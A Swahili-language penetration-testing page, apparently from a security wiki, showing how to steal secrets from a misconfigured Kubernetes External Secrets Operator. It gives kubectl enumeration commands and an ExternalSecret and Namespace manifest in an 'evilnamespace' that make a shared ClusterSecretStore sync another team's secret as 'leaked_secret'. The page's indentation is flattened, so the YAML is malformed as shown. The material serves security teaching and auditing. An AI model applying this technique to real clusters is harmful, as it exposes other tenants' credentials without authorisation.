Kubernetes External Secret Operator

Mwandishi halisi wa ukurasa huu ni Fares

Ukurasa huu unatoa vidokezo jinsi unavyoweza kuiba siri kutoka kwa ESO iliyopangwa vibaya au programu inayotumia ESO kusawazisha siri zake.

Taarifa ya Kanusho

Mbinu iliyoonyeshwa hapa chini inaweza kufanya kazi tu wakati hali fulani zinakutana. Kwa mfano, inategemea mahitaji yanayohitajika kuruhusu siri isawazishwe kwenye eneo la majina unalomiliki/uliloharibu. Lazima ujipe muda wa kufikiria mwenyewe.

Mahitaji ya Awali

  1. Kuingia kwenye kikundi cha kubernetes / kituo cha openshift na mamlaka ya msimamizi kwenye eneo la majina

  2. Upatikanaji wa kusoma angalau ExternalSecret kwenye kiwango cha kituo

  3. Tambua ikiwa kuna lebo/maelezo yanayohitajika au uanachama wa kikundi unahitajika kuruhusu ESO kusawazisha siri yako. Ikiwa una bahati, unaweza kuiba siri iliyoelezwa kwa uhuru.

Kukusanya Taarifa kuhusu Hifadhi ya Siri ya Kituo cha Kikundi Inayopo

Kukisia kwamba una watumiaji ambao wana haki za kutosha kusoma rasilimali hii; anza kwa kwanza kuorodhesha Hifadhi za Siri za Kituo cha Kikundi.

kubectl get ClusterSecretStore

Uchambuzi wa ExternalSecret

Fikiria umepata ClusterSecretStore iliyoitwa mystore. Endelea kwa kuchambua externalsecret zake zinazohusiana.

kubectl get externalsecret -A | grep mystore

Chanzo hiki kina eneo la kikoa kwa hivyo isipokuwa tayari unajua eneo la kutafuta, ongeza chaguo la -A ili kutafuta katika maeneo yote.

Unapaswa kupata orodha ya externalsecret iliyofafanuliwa. Hebu tufikirie umepata kitu cha externalsecret kinachoitwa mysecret kilichofafanuliwa na kutumiwa na eneo la kikoa la mynamespace. Kusanya taarifa zaidi kuhusu aina ya siri inayoshikilia.

kubectl get externalsecret myexternalsecret -n mynamespace -o yaml

Kuunganisha vipande

Kutoka hapa unaweza kupata jina la siri moja au zaidi (kama ilivyoelezwa katika rasilimali ya Siri). Utapata matokeo kama haya:

kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...

Hadi sasa tumepata:

  • Jina la ClusterSecretStore

  • Jina la ExternalSecret

  • Jina la siri

Sasa tukiwa na kila kitu tunachohitaji, unaweza kuunda ExternalSecret (na hatimaye kusasisha/kuunda Namespace mpya ili kuzingatia mahitaji yanayohitajika ili kupata siri yako mpya isawazishwe):

kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace

Baada ya dakika chache, ikiwa hali za usawazishaji zimetimizwa, unapaswa kuweza kuona siri iliyovuja ndani ya nafasi yako ya jina.

kubectl get secret leaked_secret -o yaml

Marejeo

Last updated